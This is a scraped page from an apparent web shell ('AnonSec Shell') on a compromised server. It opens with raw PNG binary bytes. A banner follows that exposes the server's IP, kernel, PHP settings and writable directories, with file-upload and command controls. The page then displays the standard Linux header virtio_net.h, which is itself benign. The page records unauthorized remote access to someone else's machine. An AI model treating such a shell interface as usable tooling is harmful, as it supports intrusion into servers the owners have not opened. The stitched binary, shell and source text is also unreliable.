‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ Š²¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGùÍ‹Ñ™˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æ󵄵ik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ﶲ²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈDŽ¼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/include/linux/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     

Current File : /usr/include/linux/virtio_net.h
#ifndef _LINUX_VIRTIO_NET_H
#define _LINUX_VIRTIO_NET_H
/* This header is BSD licensed so anyone can use the definitions to implement
 * compatible drivers/servers.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. Neither the name of IBM nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL IBM OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE. */
#include <linux/types.h>
#include <linux/virtio_ids.h>
#include <linux/virtio_config.h>
#include <linux/virtio_types.h>
#include <linux/if_ether.h>

/* The feature bitmap for virtio net */
#define VIRTIO_NET_F_CSUM	0	/* Host handles pkts w/ partial csum */
#define VIRTIO_NET_F_GUEST_CSUM	1	/* Guest handles pkts w/ partial csum */
#define VIRTIO_NET_F_CTRL_GUEST_OFFLOADS 2 /* Dynamic offload configuration. */
#define VIRTIO_NET_F_MTU	3	/* Initial MTU advice */
#define VIRTIO_NET_F_MAC	5	/* Host has given MAC address. */
#define VIRTIO_NET_F_GUEST_TSO4	7	/* Guest can handle TSOv4 in. */
#define VIRTIO_NET_F_GUEST_TSO6	8	/* Guest can handle TSOv6 in. */
#define VIRTIO_NET_F_GUEST_ECN	9	/* Guest can handle TSO[6] w/ ECN in. */
#define VIRTIO_NET_F_GUEST_UFO	10	/* Guest can handle UFO in. */
#define VIRTIO_NET_F_HOST_TSO4	11	/* Host can handle TSOv4 in. */
#define VIRTIO_NET_F_HOST_TSO6	12	/* Host can handle TSOv6 in. */
#define VIRTIO_NET_F_HOST_ECN	13	/* Host can handle TSO[6] w/ ECN in. */
#define VIRTIO_NET_F_HOST_UFO	14	/* Host can handle UFO in. */
#define VIRTIO_NET_F_MRG_RXBUF	15	/* Host can merge receive buffers. */
#define VIRTIO_NET_F_STATUS	16	/* virtio_net_config.status available */
#define VIRTIO_NET_F_CTRL_VQ	17	/* Control channel available */
#define VIRTIO_NET_F_CTRL_RX	18	/* Control channel RX mode support */
#define VIRTIO_NET_F_CTRL_VLAN	19	/* Control channel VLAN filtering */
#define VIRTIO_NET_F_CTRL_RX_EXTRA 20	/* Extra RX mode control support */
#define VIRTIO_NET_F_GUEST_ANNOUNCE 21	/* Guest can announce device on the
					 * network */
#define VIRTIO_NET_F_MQ	22	/* Device supports Receive Flow
					 * Steering */
#define VIRTIO_NET_F_CTRL_MAC_ADDR 23	/* Set MAC address */

#define VIRTIO_NET_F_HASH_REPORT  57	/* Supports hash report */
#define VIRTIO_NET_F_RSS	  60	/* Supports RSS RX steering */
#define VIRTIO_NET_F_RSC_EXT	  61	/* extended coalescing info */
#define VIRTIO_NET_F_STANDBY	  62	/* Act as standby for another device
					 * with the same MAC.
					 */
#define VIRTIO_NET_F_SPEED_DUPLEX 63	/* Device set linkspeed and duplex */

#ifndef VIRTIO_NET_NO_LEGACY
#define VIRTIO_NET_F_GSO	6	/* Host handles pkts w/ any GSO type */
#endif /* VIRTIO_NET_NO_LEGACY */

#define VIRTIO_NET_S_LINK_UP	1	/* Link is up */
#define VIRTIO_NET_S_ANNOUNCE	2	/* Announcement is needed */

/* supported/enabled hash types */
#define VIRTIO_NET_RSS_HASH_TYPE_IPv4          (1 << 0)
#define VIRTIO_NET_RSS_HASH_TYPE_TCPv4         (1 << 1)
#define VIRTIO_NET_RSS_HASH_TYPE_UDPv4         (1 << 2)
#define VIRTIO_NET_RSS_HASH_TYPE_IPv6          (1 << 3)
#define VIRTIO_NET_RSS_HASH_TYPE_TCPv6         (1 << 4)
#define VIRTIO_NET_RSS_HASH_TYPE_UDPv6         (1 << 5)
#define VIRTIO_NET_RSS_HASH_TYPE_IP_EX         (1 << 6)
#define VIRTIO_NET_RSS_HASH_TYPE_TCP_EX        (1 << 7)
#define VIRTIO_NET_RSS_HASH_TYPE_UDP_EX        (1 << 8)

struct virtio_net_config {
	/* The config defining mac address (if VIRTIO_NET_F_MAC) */
	__u8 mac[ETH_ALEN];
	/* See VIRTIO_NET_F_STATUS and VIRTIO_NET_S_* above */
	__virtio16 status;
	/* Maximum number of each of transmit and receive queues;
	 * see VIRTIO_NET_F_MQ and VIRTIO_NET_CTRL_MQ.
	 * Legal values are between 1 and 0x8000
	 */
	__virtio16 max_virtqueue_pairs;
	/* Default maximum transmit unit advice */
	__virtio16 mtu;
	/*
	 * speed, in units of 1Mb. All values 0 to INT_MAX are legal.
	 * Any other value stands for unknown.
	 */
	__le32 speed;
	/*
	 * 0x00 - half duplex
	 * 0x01 - full duplex
	 * Any other value stands for unknown.
	 */
	__u8 duplex;
	/* maximum size of RSS key */
	__u8 rss_max_key_size;
	/* maximum number of indirection table entries */
	__le16 rss_max_indirection_table_length;
	/* bitmask of supported VIRTIO_NET_RSS_HASH_ types */
	__le32 supported_hash_types;
} __attribute__((packed));

/*
 * This header comes first in the scatter-gather list.  If you don't
 * specify GSO or CSUM features, you can simply ignore the header.
 *
 * This is bitwise-equivalent to the legacy struct virtio_net_hdr_mrg_rxbuf,
 * only flattened.
 */
struct virtio_net_hdr_v1 {
#define VIRTIO_NET_HDR_F_NEEDS_CSUM	1	/* Use csum_start, csum_offset */
#define VIRTIO_NET_HDR_F_DATA_VALID	2	/* Csum is valid */
#define VIRTIO_NET_HDR_F_RSC_INFO	4	/* rsc info in csum_ fields */
	__u8 flags;
#define VIRTIO_NET_HDR_GSO_NONE		0	/* Not a GSO frame */
#define VIRTIO_NET_HDR_GSO_TCPV4	1	/* GSO frame, IPv4 TCP (TSO) */
#define VIRTIO_NET_HDR_GSO_UDP		3	/* GSO frame, IPv4 UDP (UFO) */
#define VIRTIO_NET_HDR_GSO_TCPV6	4	/* GSO frame, IPv6 TCP */
#define VIRTIO_NET_HDR_GSO_ECN		0x80	/* TCP has ECN set */
	__u8 gso_type;
	__virtio16 hdr_len;	/* Ethernet + IP + tcp/udp hdrs */
	__virtio16 gso_size;	/* Bytes to append to hdr_len per frame */
	union {
		struct {
			__virtio16 csum_start;
			__virtio16 csum_offset;
		};
		/* Checksum calculation */
		struct {
			/* Position to start checksumming from */
			__virtio16 start;
			/* Offset after that to place checksum */
			__virtio16 offset;
		} csum;
		/* Receive Segment Coalescing */
		struct {
			/* Number of coalesced segments */
			__le16 segments;
			/* Number of duplicated acks */
			__le16 dup_acks;
		} rsc;
	};
	__virtio16 num_buffers;	/* Number of merged rx buffers */
};

struct virtio_net_hdr_v1_hash {
	struct virtio_net_hdr_v1 hdr;
	__le32 hash_value;
#define VIRTIO_NET_HASH_REPORT_NONE            0
#define VIRTIO_NET_HASH_REPORT_IPv4            1
#define VIRTIO_NET_HASH_REPORT_TCPv4           2
#define VIRTIO_NET_HASH_REPORT_UDPv4           3
#define VIRTIO_NET_HASH_REPORT_IPv6            4
#define VIRTIO_NET_HASH_REPORT_TCPv6           5
#define VIRTIO_NET_HASH_REPORT_UDPv6           6
#define VIRTIO_NET_HASH_REPORT_IPv6_EX         7
#define VIRTIO_NET_HASH_REPORT_TCPv6_EX        8
#define VIRTIO_NET_HASH_REPORT_UDPv6_EX        9
	__le16 hash_report;
	__le16 padding;
};

#ifndef VIRTIO_NET_NO_LEGACY
/* This header comes first in the scatter-gather list.
 * For legacy virtio, if VIRTIO_F_ANY_LAYOUT is not negotiated, it must
 * be the first element of the scatter-gather list.  If you don't
 * specify GSO or CSUM features, you can simply ignore the header. */
struct virtio_net_hdr {
	/* See VIRTIO_NET_HDR_F_* */
	__u8 flags;
	/* See VIRTIO_NET_HDR_GSO_* */
	__u8 gso_type;
	__virtio16 hdr_len;		/* Ethernet + IP + tcp/udp hdrs */
	__virtio16 gso_size;		/* Bytes to append to hdr_len per frame */
	__virtio16 csum_start;	/* Position to start checksumming from */
	__virtio16 csum_offset;	/* Offset after that to place checksum */
};

/* This is the version of the header to use when the MRG_RXBUF
 * feature has been negotiated. */
struct virtio_net_hdr_mrg_rxbuf {
	struct virtio_net_hdr hdr;
	__virtio16 num_buffers;	/* Number of merged rx buffers */
};
#endif /* ...VIRTIO_NET_NO_LEGACY */

/*
 * Control virtqueue data structures
 *
 * The control virtqueue expects a header in the first sg entry
 * and an ack/status response in the last entry.  Data for the
 * command goes in between.
 */
struct virtio_net_ctrl_hdr {
	__u8 class;
	__u8 cmd;
} __attribute__((packed));

typedef __u8 virtio_net_ctrl_ack;

#define VIRTIO_NET_OK     0
#define VIRTIO_NET_ERR    1

/*
 * Control the RX mode, ie. promisucous, allmulti, etc...
 * All commands require an "out" sg entry containing a 1 byte
 * state value, zero = disable, non-zero = enable.  Commands
 * 0 and 1 are supported with the VIRTIO_NET_F_CTRL_RX feature.
 * Commands 2-5 are added with VIRTIO_NET_F_CTRL_RX_EXTRA.
 */
#define VIRTIO_NET_CTRL_RX    0
 #define VIRTIO_NET_CTRL_RX_PROMISC      0
 #define VIRTIO_NET_CTRL_RX_ALLMULTI     1
 #define VIRTIO_NET_CTRL_RX_ALLUNI       2
 #define VIRTIO_NET_CTRL_RX_NOMULTI      3
 #define VIRTIO_NET_CTRL_RX_NOUNI        4
 #define VIRTIO_NET_CTRL_RX_NOBCAST      5

/*
 * Control the MAC
 *
 * The MAC filter table is managed by the hypervisor, the guest should
 * assume the size is infinite.  Filtering should be considered
 * non-perfect, ie. based on hypervisor resources, the guest may
 * received packets from sources not specified in the filter list.
 *
 * In addition to the class/cmd header, the TABLE_SET command requires
 * two out scatterlists.  Each contains a 4 byte count of entries followed
 * by a concatenated byte stream of the ETH_ALEN MAC addresses.  The
 * first sg list contains unicast addresses, the second is for multicast.
 * This functionality is present if the VIRTIO_NET_F_CTRL_RX feature
 * is available.
 *
 * The ADDR_SET command requests one out scatterlist, it contains a
 * 6 bytes MAC address. This functionality is present if the
 * VIRTIO_NET_F_CTRL_MAC_ADDR feature is available.
 */
struct virtio_net_ctrl_mac {
	__virtio32 entries;
	__u8 macs[][ETH_ALEN];
} __attribute__((packed));

#define VIRTIO_NET_CTRL_MAC    1
 #define VIRTIO_NET_CTRL_MAC_TABLE_SET        0
 #define VIRTIO_NET_CTRL_MAC_ADDR_SET         1

/*
 * Control VLAN filtering
 *
 * The VLAN filter table is controlled via a simple ADD/DEL interface.
 * VLAN IDs not added may be filterd by the hypervisor.  Del is the
 * opposite of add.  Both commands expect an out entry containing a 2
 * byte VLAN ID.  VLAN filterting is available with the
 * VIRTIO_NET_F_CTRL_VLAN feature bit.
 */
#define VIRTIO_NET_CTRL_VLAN       2
 #define VIRTIO_NET_CTRL_VLAN_ADD             0
 #define VIRTIO_NET_CTRL_VLAN_DEL             1

/*
 * Control link announce acknowledgement
 *
 * The command VIRTIO_NET_CTRL_ANNOUNCE_ACK is used to indicate that
 * driver has recevied the notification; device would clear the
 * VIRTIO_NET_S_ANNOUNCE bit in the status field after it receives
 * this command.
 */
#define VIRTIO_NET_CTRL_ANNOUNCE       3
 #define VIRTIO_NET_CTRL_ANNOUNCE_ACK         0

/*
 * Control Receive Flow Steering
 */
#define VIRTIO_NET_CTRL_MQ   4
/*
 * The command VIRTIO_NET_CTRL_MQ_VQ_PAIRS_SET
 * enables Receive Flow Steering, specifying the number of the transmit and
 * receive queues that will be used. After the command is consumed and acked by
 * the device, the device will not steer new packets on receive virtqueues
 * other than specified nor read from transmit virtqueues other than specified.
 * Accordingly, driver should not transmit new packets  on virtqueues other than
 * specified.
 */
struct virtio_net_ctrl_mq {
	__virtio16 virtqueue_pairs;
};

 #define VIRTIO_NET_CTRL_MQ_VQ_PAIRS_SET        0
 #define VIRTIO_NET_CTRL_MQ_VQ_PAIRS_MIN        1
 #define VIRTIO_NET_CTRL_MQ_VQ_PAIRS_MAX        0x8000

/*
 * The command VIRTIO_NET_CTRL_MQ_RSS_CONFIG has the same effect as
 * VIRTIO_NET_CTRL_MQ_VQ_PAIRS_SET does and additionally configures
 * the receive steering to use a hash calculated for incoming packet
 * to decide on receive virtqueue to place the packet. The command
 * also provides parameters to calculate a hash and receive virtqueue.
 */
struct virtio_net_rss_config {
	__le32 hash_types;
	__le16 indirection_table_mask;
	__le16 unclassified_queue;
	__le16 indirection_table[1/* + indirection_table_mask */];
	__le16 max_tx_vq;
	__u8 hash_key_length;
	__u8 hash_key_data[/* hash_key_length */];
};

 #define VIRTIO_NET_CTRL_MQ_RSS_CONFIG          1

/*
 * The command VIRTIO_NET_CTRL_MQ_HASH_CONFIG requests the device
 * to include in the virtio header of the packet the value of the
 * calculated hash and the report type of hash. It also provides
 * parameters for hash calculation. The command requires feature
 * VIRTIO_NET_F_HASH_REPORT to be negotiated to extend the
 * layout of virtio header as defined in virtio_net_hdr_v1_hash.
 */
struct virtio_net_hash_config {
	__le32 hash_types;
	/* for compatibility with virtio_net_rss_config */
	__le16 reserved[4];
	__u8 hash_key_length;
	__u8 hash_key_data[/* hash_key_length */];
};

 #define VIRTIO_NET_CTRL_MQ_HASH_CONFIG         2

/*
 * Control network offloads
 *
 * Reconfigures the network offloads that Guest can handle.
 *
 * Available with the VIRTIO_NET_F_CTRL_GUEST_OFFLOADS feature bit.
 *
 * Command data format matches the feature bit mask exactly.
 *
 * See VIRTIO_NET_F_GUEST_* for the list of offloads
 * that can be enabled/disabled.
 */
#define VIRTIO_NET_CTRL_GUEST_OFFLOADS   5
#define VIRTIO_NET_CTRL_GUEST_OFFLOADS_SET        0

#endif /* _LINUX_VIRTIO_NET_H */

Anon7 - 2022
AnonSec Team